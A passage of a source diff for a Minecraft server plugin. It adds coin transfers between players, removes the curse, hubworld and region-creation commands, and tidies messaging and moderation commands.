-@CommandParameters(description = "Shows the amount of coins you have or another player has", usage = "/<command> [playername]")
+@CommandParameters(description = "Shows the amount of coins you or another player has. Also allows you to give coins to other players.", usage = "/<command> [player] | pay <player> <amount>")
 public class Command_coins extends FreedomCommand
 {
     @Override
@@ -21,34 +24,119 @@ public class Command_coins extends FreedomCommand
             msg("The shop is currently disabled!", ChatColor.RED);
             return true;
         }
-        Player p;
+
         final String prefix = FUtil.colorize(ConfigEntry.SHOP_PREFIX.getString() + " ");
-        if (args.length > 0)
+
+        switch (args.length)
         {
-            if (getPlayer(args[0]) != null)
-            {
-                p = getPlayer(args[0]);
-            }
-            else
-            {
-                msg(PLAYER_NOT_FOUND);
-                return true;
-            }
-        }
-        else
+            // Mode for seeing how many coins the sender has (doesn't work from console)
+            case 0:
             {
                 if (senderIsConsole)
                 {
-                msg(prefix + ChatColor.RED + "You are not a player, use /coins <playername>");
-                return true;
+                    msg("When used from the console, you must define a target player.");
                 }
                 else
                 {
-                p = playerSender;
+                    PlayerData playerData = getData(playerSender);
+                    msg(prefix + ChatColor.GREEN + "You have " + ChatColor.RED + playerData.getCoins() + ChatColor.GREEN
+                            + " coins.");
                 }
-        }
-        PlayerData playerData = plugin.pl.getData(p);
-        msg(prefix + ChatColor.GREEN + (args.length > 0 ? p.getName() + " has " : "You have ") + ChatColor.RED + playerData.getCoins() + ChatColor.GREEN + " coins.");
                 return true;
             }
+
+            // Mode for seeing how many coins a player has.
+            case 1:
+            {
+                Player target = getPlayer(args[0]);
+
+                if (target == null)
+                {
+                    msg(PLAYER_NOT_FOUND);
+                }
+                else
+                {
+                    PlayerData playerData = getData(target);
+                    msg(prefix + ChatColor.GREEN + target.getName() + " has " + ChatColor.RED + playerData.getCoins() + ChatColor.GREEN + " coins.");
+                }
+                return true;
+            }
+
+            // Mode for paying another player coins
+            case 3:
+            {
+                if (args[0].equalsIgnoreCase("pay"))
+                {
+                    checkPlayer();
+
+                    final Player target = getPlayer(args[1]);
+                    final PlayerData senderData = getData(playerSender);
+
+                    int coinsToTransfer;
+
+                    // Processes args[2]
+                    try
+                    {
+                        // Prevents players from trying to be cheeky with negative numbers.
+                        coinsToTransfer = Math.max(Math.abs(Integer.parseInt(args[2])), 1);
+                    }
+                    catch (NumberFormatException ex)
+                    {
+                        msg("Invalid number: " + args[2], ChatColor.RED);
+                        return true;
+                    }
+
+                    // Prevents players from performing transactions they can't afford to do.
+                    if (senderData.getCoins() < coinsToTransfer)
+                    {
+                        msg("You don't have enough coins to perform this transaction.", ChatColor.RED);
+                        return true;
+                    }
+
+                    if (target == null)
+                    {
+                        msg(PLAYER_NOT_FOUND);
+                    }
+                    else
+                    {
+                        PlayerData playerData = getData(target);
+                        playerData.setCoins(playerData.getCoins() + coinsToTransfer);
+                        senderData.setCoins(senderData.getCoins() - coinsToTransfer);
+
+                        msg(target, sender.getName()
+                                + ChatColor.GREEN + " has given you "
+                                + ChatColor.GOLD + coinsToTransfer
+                                + ChatColor.GREEN + " coin" + (coinsToTransfer > 1 ? "s" : "") + "!", ChatColor.GOLD);
+
+                        msg("You have given "
+                                + ChatColor.GOLD + coinsToTransfer
+                                + ChatColor.GREEN + " coin" + (coinsToTransfer > 1 ? "s" : "")
+                                + " to " + ChatColor.GOLD + target.getName() + ChatColor.GREEN + ".", ChatColor.GREEN);
+                    }
+
+                    return true;
+                }
+            }
+
+            default:
+            {
+                return false;
+            }
+        }
+    }
+
+    @Override
+    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
+    {
+        if (args.length == 1)
+        {
+            List<String> options = new ArrayList<>(FUtil.getPlayerList());
+
+            options.add("pay");
+
+            return options;
+        }
+
+        return FUtil.getPlayerList();
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_commandlist.java

@@ -43,7 +43,7 @@ public class Command_commandlist extends FreedomCommand
 
         Collections.sort(commands);
 
-        sender.sendMessage(StringUtils.join(commands, ", "));
+        msg(StringUtils.join(commands, ", "));
 
         return true;
     }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_creative.java

@@ -19,7 +19,7 @@ public class Command_creative extends FreedomCommand
         {
             if (isConsole())
             {
-                sender.sendMessage("When used from the console, you must define a target player.");
+                msg("When used from the console, you must define a target player.");
                 return true;
             }
 
@@ -46,7 +46,7 @@ public class Command_creative extends FreedomCommand
 
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_curse.java

@@ -1,64 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import java.util.Collections;
-import java.util.List;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import org.bukkit.ChatColor;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
-@CommandPermissions(level = Rank.SENIOR_ADMIN, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Curse someone - sends a cursed texture pack to the specified player.", usage = "/<command> <player>")
-public class Command_curse extends FreedomCommand
-{
-
-    /* The only problem with this is someone can prevent themself from being cursed by declining to download the
-       resource pack. However, if they hit yes, then you can curse them whenever you want and they can't stop it unless
-       they go into their server settings. and set server resource packs to prompt or disabled */
-
-    @Override
-    public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
-    {
-
-        if (!FUtil.isExecutive(sender.getName()))
-        {
-            return noPerms();
-        }
-
-        if (args.length == 0)
-        {
-            return false;
-        }
-
-        final Player player = getPlayer(args[0]);
-
-        if (player == null)
-        {
-            msg(FreedomCommand.PLAYER_NOT_FOUND);
-            return true;
-        }
-
-        if (plugin.cul.cursedPlayers.containsKey(player))
-        {
-            msg("Already attempting to curse!", ChatColor.RED);
-            return true;
-        }
-
-        player.setResourcePack("http://play.totalfreedom.me/cursed.zip");
-        msg("Attempting to curse " + player.getName(), ChatColor.GREEN);
-        plugin.cul.cursedPlayers.put(player, playerSender);
-        return true;
-    }
-
-    @Override
-    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
-    {
-        if (args.length == 1 && plugin.al.isAdmin(sender) && FUtil.isExecutive(sender.getName()))
-        {
-            return FUtil.getPlayerList();
-        }
-        return Collections.emptyList();
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_deop.java

@@ -39,7 +39,8 @@ public class Command_deop extends FreedomCommand
                 {
                     matchedPlayerNames.add(player.getName());
                     player.setOp(false);
-                    player.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
+                    msg(player, YOU_ARE_NOT_OP);
+                    plugin.rm.updateDisplay(player);
                 }
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_deopall.java

@@ -19,7 +19,8 @@ public class Command_deopall extends FreedomCommand
         for (Player player : server.getOnlinePlayers())
         {
             player.setOp(false);
-            player.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
+            msg(player, YOU_ARE_NOT_OP);
+            plugin.rm.updateDisplay(player);
         }
 
         return true;

src/main/java/me/totalfreedom/totalfreedommod/command/Command_dispfill.java

@@ -43,7 +43,7 @@ public class Command_dispfill extends FreedomCommand
             }
             catch (NumberFormatException ex)
             {
-                sender.sendMessage("Invalid radius.");
+                msg("Invalid radius.");
                 return true;
             }
 
@@ -60,7 +60,7 @@ public class Command_dispfill extends FreedomCommand
                 }
                 else
                 {
-                    sender.sendMessage("Skipping invalid item: " + searchItem);
+                    msg("Skipping invalid item: " + searchItem);
                 }
             }
 
@@ -80,7 +80,8 @@ public class Command_dispfill extends FreedomCommand
                         {
                             if (targetBlock.getType().equals(Material.DISPENSER))
                             {
-                                sender.sendMessage("Filling dispenser @ " + FUtil.formatLocation(targetBlock.getLocation()));
+                                msg("Filling dispenser @ " + FUtil.formatLocation(targetBlock.getLocation()));
+                                plugin.cpb.getCoreProtectAPI().logContainerTransaction(sender.getName(), targetBlock.getLocation());
                                 setDispenserContents(targetBlock, itemsArray);
                                 affected++;
                             }
@@ -89,7 +90,7 @@ public class Command_dispfill extends FreedomCommand
                 }
             }
 
-            sender.sendMessage("Done. " + affected + " dispenser(s) filled.");
+            msg("Done. " + affected + " dispenser(s) filled.");
         }
         else
         {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_doom.java

@@ -1,6 +1,5 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import java.util.Objects;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.banning.Ban;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@@ -36,14 +35,14 @@ public class Command_doom extends FreedomCommand
 
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 
         FUtil.adminAction(sender.getName(), "Casting oblivion over " + player.getName(), true);
         FUtil.bcastMsg(player.getName() + " will be completely obliviated!", ChatColor.RED);
 
-        final String ip = Objects.requireNonNull(player.getAddress()).getAddress().getHostAddress().trim();
+        final String ip = FUtil.getIp(player);
 
         // Remove from admin
         Admin admin = getAdmin(player);
@@ -76,10 +75,7 @@ public class Command_doom extends FreedomCommand
         // Ban player
         Ban ban = Ban.forPlayer(player, sender);
         ban.setReason((reason == null ? "FUCKOFF" : reason));
-        for (String playerIp : plugin.pl.getData(player).getIps())
-        {
-            ban.addIp(playerIp);
-        }
+        ban.addIp(ip);
         plugin.bm.addBan(ban);
 
         // Set gamemode to survival

src/main/java/me/totalfreedom/totalfreedommod/command/Command_eject.java

@@ -1,40 +1,50 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import java.util.ArrayList;
-import java.util.List;
 import me.totalfreedom.totalfreedommod.rank.Rank;
-import org.apache.commons.lang.StringUtils;
 import org.bukkit.ChatColor;
 import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Entity;
 import org.bukkit.entity.Player;
 
 @CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Eject players that are riding you.", usage = "/<command>")
+@CommandParameters(description = "Eject any entities that are riding you.", usage = "/<command>")
 public class Command_eject extends FreedomCommand
 {
+    /* Player.getShoulderEntityLeft() and Player.getShoulderEntityRight() are deprecated, however unless
+        Player.getPassengers() also includes shoulders (which isn't likely, given the official documentation doesn't
+        state an alternative method to use instead), these methods will continue to be used here. */
 
+    @SuppressWarnings("deprecation")
     @Override
     public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
     {
+        // Uses the size of the return value of Player.getPassengers() as the starting number of entities ejected
+        int count = playerSender.getPassengers().size();
 
-        List<String> names = new ArrayList<>();
-
-        for (Entity entity : playerSender.getPassengers())
+        // Removes any entities from the sender's shoulders
+        if (playerSender.getShoulderEntityLeft() != null)
         {
-            names.add(entity.getName());
+            playerSender.setShoulderEntityLeft(null);
+            count++;
+        }
+        if (playerSender.getShoulderEntityRight() != null)
+        {
+            playerSender.setShoulderEntityLeft(null);
+            count++;
         }
 
-        if (names.isEmpty())
+        // Removes anything riding the sender
+        playerSender.eject();
+
+        if (count != 0)
+        {
+            msg(count + " entit" + (count == 1 ? "y was" : "ies were") + " ejected.", ChatColor.GREEN);
+        }
+        else
         {
             msg("Nothing was ejected.", ChatColor.GREEN);
-            return true;
         }
 
-        msg("Ejecting " + StringUtils.join(names, ", ") + ".", ChatColor.GREEN);
-        playerSender.eject();
-
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_entitywipe.java

@@ -64,6 +64,12 @@ public class Command_entitywipe extends FreedomCommand
                     return true;
                 }
 
+                if (type == EntityType.PLAYER)
+                {
+                    msg("Player entities cannot be purged.", ChatColor.RED);
+                    return true;
+                }
+
                 if (!getAllEntities().contains(type))
                 {
                     msg(FUtil.formatName(type.name()) + " is an entity, however: it is a mob.", ChatColor.RED);

src/main/java/me/totalfreedom/totalfreedommod/command/Command_freeze.java

@@ -23,12 +23,12 @@ public class Command_freeze extends FreedomCommand
 
             if (!gFreeze)
             {
-                FUtil.adminAction(sender.getName(), "Disabling global player freeze", false);
+                FUtil.adminAction(sender.getName(), "Unfreezing all players", false);
                 msg("Players are now free to move.");
                 return true;
             }
 
-            FUtil.adminAction(sender.getName(), "Enabling global player freeze", false);
+            FUtil.adminAction(sender.getName(), "Freezing all players", false);
             for (Player player : server.getOnlinePlayers())
             {
                 if (!isAdmin(player))

src/main/java/me/totalfreedom/totalfreedommod/command/Command_gcmd.java

@@ -23,7 +23,7 @@ public class Command_gcmd extends FreedomCommand
 
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_glow.java

@@ -26,7 +26,7 @@ public class Command_glow extends FreedomCommand
             playerSender.addPotionEffect(glow);
             glowing = true;
         }
-        msg("You " + (glowing ? "are now" : "no longer") + " glowing.");
+        msg("You are " + (glowing ? "now" : "no longer") + " glowing.");
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_hubworld.java

@@ -1,202 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import io.papermc.lib.PaperLib;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.world.WorldTime;
-import me.totalfreedom.totalfreedommod.world.WorldWeather;
-import org.bukkit.World;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
-@CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
-@CommandParameters(description = "HubWorld management stuff",
-        usage = "/<command> [time <morning | noon | evening | night> | weather <off | rain | storm>]",
-        aliases = "hw,hub")
-public class Command_hubworld extends FreedomCommand
-{
-
-    @Override
-    public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
-    {
-        CommandMode commandMode = null;
-
-        if (args.length == 0)
-        {
-            commandMode = CommandMode.TELEPORT;
-        }
-        else if (args.length >= 2)
-        {
-            if ("time".equalsIgnoreCase(args[0]))
-            {
-                commandMode = CommandMode.TIME;
-            }
-            else if ("weather".equalsIgnoreCase(args[0]))
-            {
-                commandMode = CommandMode.WEATHER;
-            }
-        }
-
-        if (commandMode == null)
-        {
-            return false;
-        }
-
-        try
-        {
-            switch (commandMode)
-            {
-                case TELEPORT:
-                {
-                    if (!(sender instanceof Player) || playerSender == null)
-                    {
-                        return false;
-                    }
-
-                    World hubWorld = null;
-                    try
-                    {
-                        hubWorld = plugin.wm.hubworld.getWorld();
-                    }
-                    catch (Exception ignored)
-                    {
-                    }
-
-                    if (hubWorld == null || playerSender.getWorld() == hubWorld)
-                    {
-                        msg("Going to the main world.");
-                        PaperLib.teleportAsync(playerSender, server.getWorlds().get(0).getSpawnLocation());
-                    }
-                    else
-                    {
-                        msg("Going to the hub world");
-                        plugin.wm.hubworld.sendToWorld(playerSender);
-                    }
-
-                    break;
-                }
-                case TIME:
-                {
-                    assertCommandPerms(sender, playerSender);
-
-                    if (args.length == 2)
-                    {
-                        WorldTime timeOfDay = WorldTime.getByAlias(args[1]);
-                        if (timeOfDay != null)
-                        {
-                            plugin.wm.hubworld.setTimeOfDay(timeOfDay);
-                            msg("Hub world time set to: " + timeOfDay.name());
-                        }
-                        else
-                        {
-                            msg("Invalid time of day. Can be: sunrise, noon, sunset, midnight");
-                        }
-                    }
-                    else
-                    {
-                        return false;
-                    }
-
-                    break;
-                }
-                case WEATHER:
-                {
-                    assertCommandPerms(sender, playerSender);
-
-                    if (args.length == 2)
-                    {
-                        WorldWeather weatherMode = WorldWeather.getByAlias(args[1]);
-                        if (weatherMode != null)
-                        {
-                            plugin.wm.hubworld.setWeatherMode(weatherMode);
-                            msg("Hub world weather set to: " + weatherMode.name());
-                        }
-                        else
-                        {
-                            msg("Invalid weather mode. Can be: off, rain, storm");
-                        }
-                    }
-                    else
-                    {
-                        return false;
-                    }
-
-                    break;
-                }
-                default:
-                {
-                    return false;
-                }
-            }
-        }
-        catch (PermissionDeniedException ex)
-        {
-            if (ex.getMessage().isEmpty())
-            {
-                return noPerms();
-            }
-            sender.sendMessage(ex.getMessage());
-            return true;
-        }
-
-        return true;
-    }
-
-    @Override
-    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
-    {
-        if (!plugin.al.isAdmin(sender))
-        {
-            return Collections.emptyList();
-        }
-        if (args.length == 1)
-        {
-            return Arrays.asList("time", "weather");
-        }
-        else if (args.length == 2)
-        {
-            if (args[0].equals("time"))
-            {
-                return Arrays.asList("morning", "noon", "evening", "night");
-            }
-            else if (args[0].equals("weather"))
-            {
-                return Arrays.asList("off", "rain", "storm");
-            }
-        }
-        return Collections.emptyList();
-    }
-
-    // TODO: Redo this properly
-    private void assertCommandPerms(CommandSender sender, Player playerSender) throws PermissionDeniedException
-    {
-        if (!(sender instanceof Player) || playerSender == null || !plugin.al.isAdmin(playerSender))
-        {
-            throw new PermissionDeniedException();
-        }
-    }
-
-    private enum CommandMode
-    {
-        TELEPORT, TIME, WEATHER
-    }
-
-    private static class PermissionDeniedException extends Exception
-    {
-
-        private static final long serialVersionUID = 1L;
-
-        private PermissionDeniedException()
-        {
-            super("");
-        }
-
-        private PermissionDeniedException(String string)
-        {
-            super(string);
-        }
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_inspect.java

@@ -39,7 +39,7 @@ public class Command_inspect extends FreedomCommand
                 }
                 catch (NumberFormatException e)
                 {
-                    sender.sendMessage(ChatColor.RED + "Invalid number");
+                    msg("Invalid number", ChatColor.RED);
                 }
             }
 
@@ -48,19 +48,19 @@ public class Command_inspect extends FreedomCommand
             {
                 if (pageIndex < 1 || pageIndex > paged.getPageCount())
                 {
-                    sender.sendMessage(ChatColor.RED + "Not a valid page number");
+                    msg("Not a valid page number", ChatColor.RED);
                     return true;
                 }
 
-                sender.sendMessage("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- ");
+                msg("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- ", ChatColor.WHITE);
 
                 List<String> page = paged.getPage(pageIndex);
                 for (String entries : page)
                 {
-                    sender.sendMessage(entries);
+                    msg(entries);
                 }
 
-                sender.sendMessage("Page " + pageIndex + "/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>");
+                msg("Page " + pageIndex + "/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>", ChatColor.WHITE);
                 return true;
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_linkdiscord.java

@@ -18,7 +18,7 @@ public class Command_linkdiscord extends FreedomCommand
     {
         if (!plugin.dc.enabled)
         {
-            msg("The Discord verification system is currently disabled.", ChatColor.RED);
+            msg("The Discord integration system is currently disabled.", ChatColor.RED);
             return true;
         }
 
@@ -32,7 +32,7 @@ public class Command_linkdiscord extends FreedomCommand
             }
 
             playerData.setDiscordID(args[1]);
-            msg("Linked " + args[0] + "'s discord account.", ChatColor.GREEN);
+            msg("Linked " + args[0] + "'s Discord account.", ChatColor.GREEN);
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_list.java

@@ -1,7 +1,5 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import java.util.ArrayList;
-import java.util.List;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.admin.AdminList;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@@ -14,10 +12,14 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.IMPOSTOR, source = SourceType.BOTH)
-@CommandParameters(description = "Lists the real names of all online players.", usage = "/<command> [-s | -i | -f | -v]", aliases = "who,lsit")
+import java.util.ArrayList;
+import java.util.List;
+
+@CommandPermissions(level = Rank.NON_OP, source = SourceType.BOTH)
+@CommandParameters(description = "Lists the real names of all online players.", usage = "/<command> [-s | -f | -v]", aliases = "who,lsit")
 public class Command_list extends FreedomCommand
 {
+
     public boolean run(final CommandSender sender, final Player playerSender, final Command cmd, final String commandLabel, final String[] args, final boolean senderIsConsole)
     {
         if (args.length > 1)
@@ -28,9 +30,12 @@ public class Command_list extends FreedomCommand
         {
             List<String> names = new ArrayList<>();
             for (Player player : server.getOnlinePlayers())
+            {
+                if (!plugin.al.isVanished(player.getName()))
                 {
                     names.add(player.getName());
                 }
+            }
             msg("There are " + names.size() + "/" + server.getMaxPlayers() + " players online:\n" + StringUtils.join(names, ", "), ChatColor.WHITE);
             return true;
         }
@@ -58,11 +63,6 @@ public class Command_list extends FreedomCommand
                     listFilter = ListFilter.TELNET_SESSIONS;
                     break;
                 }
-                case "-i":
-                {
-                    listFilter = ListFilter.IMPOSTORS;
-                    break;
-                }
                 case "-f":
                 {
                     listFilter = ListFilter.FAMOUS_PLAYERS;
@@ -83,7 +83,7 @@ public class Command_list extends FreedomCommand
 
         List<String> n = new ArrayList<>();
 
-        if (listFilter == ListFilter.TELNET_SESSIONS && plugin.al.isAdmin(sender) && plugin.al.getAdmin(playerSender).getRank().isAtLeast(Rank.ADMIN))
+        if (listFilter == ListFilter.TELNET_SESSIONS && plugin.al.isAdmin(sender))
         {
             List<Admin> connectedAdmins = plugin.btb.getConnectedAdmins();
             onlineStats.append(ChatColor.BLUE).append("There are ").append(ChatColor.RED).append(connectedAdmins.size())
@@ -96,7 +96,7 @@ public class Command_list extends FreedomCommand
         }
         else
         {
-            onlineStats.append(ChatColor.BLUE).append("There are ").append(ChatColor.RED).append(server.getOnlinePlayers().size() - AdminList.vanished.size())
+            onlineStats.append(ChatColor.BLUE).append("There are ").append(ChatColor.RED).append(FUtil.getFakePlayerCount())
                     .append(ChatColor.BLUE)
                     .append(" out of a maximum ")
                     .append(ChatColor.RED)
@@ -117,10 +117,6 @@ public class Command_list extends FreedomCommand
                 {
                     continue;
                 }
-                if (listFilter == ListFilter.IMPOSTORS && !plugin.al.isAdminImpostor(p))
-                {
-                    continue;
-                }
                 if (listFilter == ListFilter.FAMOUS_PLAYERS && !ConfigEntry.FAMOUS_PLAYERS.getList().contains(p.getName().toLowerCase()))
                 {
                     continue;
@@ -141,13 +137,13 @@ public class Command_list extends FreedomCommand
                 .append(StringUtils.join(n, ChatColor.WHITE + ", "));
         if (senderIsConsole)
         {
-            sender.sendMessage(ChatColor.stripColor(onlineStats.toString()));
-            sender.sendMessage(ChatColor.stripColor(onlineUsers.toString()));
+            msg(ChatColor.stripColor(onlineStats.toString()));
+            msg(ChatColor.stripColor(onlineUsers.toString()));
         }
         else
         {
-            sender.sendMessage(onlineStats.toString());
-            sender.sendMessage(onlineUsers.toString());
+            msg(onlineStats.toString());
+            msg(onlineUsers.toString());
         }
         n.clear();
         return true;
@@ -159,7 +155,6 @@ public class Command_list extends FreedomCommand
         ADMINS,
         VANISHED_ADMINS,
         TELNET_SESSIONS,
-        FAMOUS_PLAYERS,
-        IMPOSTORS
+        FAMOUS_PLAYERS
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_lockup.java

@@ -53,7 +53,7 @@ public class Command_lockup extends FreedomCommand
 
                 if (player == null)
                 {
-                    sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+                    msg(PLAYER_NOT_FOUND);
                     return true;
                 }
 
@@ -70,7 +70,7 @@ public class Command_lockup extends FreedomCommand
 
                 if (player == null)
                 {
-                    sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+                    msg(PLAYER_NOT_FOUND);
                     return true;
                 }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_makeopregion.java

@@ -1,96 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import com.sk89q.worldedit.IncompleteRegionException;
-import com.sk89q.worldedit.LocalSession;
-import com.sk89q.worldedit.regions.Region;
-import com.sk89q.worldguard.domains.DefaultDomain;
-import com.sk89q.worldguard.protection.flags.Flag;
-import com.sk89q.worldguard.protection.flags.Flags;
-import com.sk89q.worldguard.protection.flags.RegionGroup;
-import com.sk89q.worldguard.protection.flags.StateFlag;
-import com.sk89q.worldguard.protection.managers.RegionManager;
-import com.sk89q.worldguard.protection.regions.ProtectedCuboidRegion;
-import com.sk89q.worldguard.protection.regions.ProtectedRegion;
-import java.util.HashMap;
-import java.util.Map;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import org.bukkit.ChatColor;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
-@CommandPermissions(level = Rank.ADMIN, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Make a WorldGuard region for an OP.", usage = "/<command> <playername> <name>", aliases = "mor")
-public class Command_makeopregion extends FreedomCommand
-{
-
-    final Map<Flag<?>, Object> flags = new HashMap<Flag<?>, Object>()
-    {{
-        put(Flags.BLOCK_PLACE, StateFlag.State.ALLOW);
-        put(Flags.BLOCK_BREAK, StateFlag.State.ALLOW);
-        put(Flags.BUILD, StateFlag.State.ALLOW);
-        put(Flags.PLACE_VEHICLE, StateFlag.State.ALLOW);
-        put(Flags.DESTROY_VEHICLE, StateFlag.State.ALLOW);
-        put(Flags.ENTITY_ITEM_FRAME_DESTROY, StateFlag.State.ALLOW);
-        put(Flags.ENTITY_PAINTING_DESTROY, StateFlag.State.ALLOW);
-        put(net.goldtreeservers.worldguardextraflags.flags.Flags.WORLDEDIT, StateFlag.State.ALLOW);
-    }};
-
-    public boolean run(final CommandSender sender, final Player playerSender, final Command cmd, final String commandLabel, final String[] args, final boolean senderIsConsole)
-    {
-        if (args.length < 2)
-        {
-            return false;
-        }
-
-        final Player player = getPlayer(args[0]);
-
-        if (player == null)
-        {
-            msg(FreedomCommand.PLAYER_NOT_FOUND);
-            return true;
-        }
-
-        String name = args[1];
-
-        LocalSession session = plugin.web.getWorldEditPlugin().getSession(playerSender);
-
-        Region selection;
-
-        try
-        {
-            selection = session.getSelection(session.getSelectionWorld());
-        }
-        catch (IncompleteRegionException e)
-        {
-            msg("Please make a WorldEdit selection", ChatColor.RED);
-            return true;
-        }
-
-        if (selection == null)
-        {
-            msg("Please make a WorldEdit selection", ChatColor.RED);
-            return true;
-        }
-
-        ProtectedRegion region = new ProtectedCuboidRegion(name, selection.getMinimumPoint(), selection.getMaximumPoint());
-
-        DefaultDomain owners = new DefaultDomain();
-        owners.addPlayer(playerSender.getName());
-        owners.addPlayer(player.getName());
-        region.setOwners(owners);
-        region.setFlags(flags);
-
-        for (Flag<?> flag : flags.keySet())
-        {
-            region.setFlag(flag.getRegionGroupFlag(), RegionGroup.MEMBERS);
-        }
-
-        RegionManager regionManager = plugin.wgb.getRegionManager(playerSender.getWorld());
-
-        regionManager.addRegion(region);
-
-        msg("Successfully created the region '" + name + "' for " + player.getName(), ChatColor.GREEN);
-        return true;
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_manageshop.java

@@ -35,8 +35,8 @@ public class Command_manageshop extends FreedomCommand
             }
             switch (args[1])
             {
-
                 case "add":
+                {
                     try
                     {
                         int amount = Math.max(0, Math.min(1000000, Integer.parseInt(args[2])));
@@ -54,7 +54,7 @@ public class Command_manageshop extends FreedomCommand
                             Player player = getPlayer(args[3]);
                             if (player != null)
                             {
-                                player.sendMessage(ChatColor.GREEN + sender.getName() + " gave you " + amount + " coins. Your new balance is " + playerData.getCoins());
+                                msg(player, sender.getName() + " gave you " + amount + " coins. Your new balance is " + playerData.getCoins(), ChatColor.GREEN);
                             }
                         }
                         else
@@ -64,7 +64,7 @@ public class Command_manageshop extends FreedomCommand
                                 PlayerData playerData = plugin.pl.getData(player);
                                 playerData.setCoins(playerData.getCoins() + amount);
                                 plugin.pl.save(playerData);
-                                player.sendMessage(ChatColor.GREEN + sender.getName() + " gave you " + amount + " coins. Your new balance is " + playerData.getCoins());
+                                msg(player, sender.getName() + " gave you " + amount + " coins. Your new balance is " + playerData.getCoins(), ChatColor.GREEN);
                             }
                             msg("Successfully added " + amount + " coins to all online players.", ChatColor.GREEN);
                         }
@@ -75,7 +75,9 @@ public class Command_manageshop extends FreedomCommand
                         msg("Invalid number: " + args[2], ChatColor.RED);
                         return true;
                     }
+                }
                 case "remove":
+                {
                     try
                     {
                         int amount = Math.max(0, Math.min(1000000, Integer.parseInt(args[2])));
@@ -97,7 +99,7 @@ public class Command_manageshop extends FreedomCommand
                             Player player = getPlayer(args[3]);
                             if (player != null)
                             {
-                                player.sendMessage(ChatColor.RED + sender.getName() + " took " + amount + " coins from you. Your new balance is " + playerData.getCoins());
+                                msg(player, sender.getName() + " took " + amount + " coins from you. Your new balance is " + playerData.getCoins(), ChatColor.RED);
                             }
                         }
                         else
@@ -111,7 +113,7 @@ public class Command_manageshop extends FreedomCommand
                                     playerData.setCoins(0);
                                 }
                                 plugin.pl.save(playerData);
-                                player.sendMessage(ChatColor.RED + sender.getName() + " took " + amount + " coins from you. Your new balance is " + playerData.getCoins());
+                                msg(player, sender.getName() + " took " + amount + " coins from you. Your new balance is " + playerData.getCoins(), ChatColor.RED);
                             }
                             msg("Successfully took " + amount + " coins from all online players.", ChatColor.GREEN);
                         }
@@ -122,7 +124,9 @@ public class Command_manageshop extends FreedomCommand
                         msg("Invalid number: " + args[2], ChatColor.RED);
                         return true;
                     }
+                }
                 case "set":
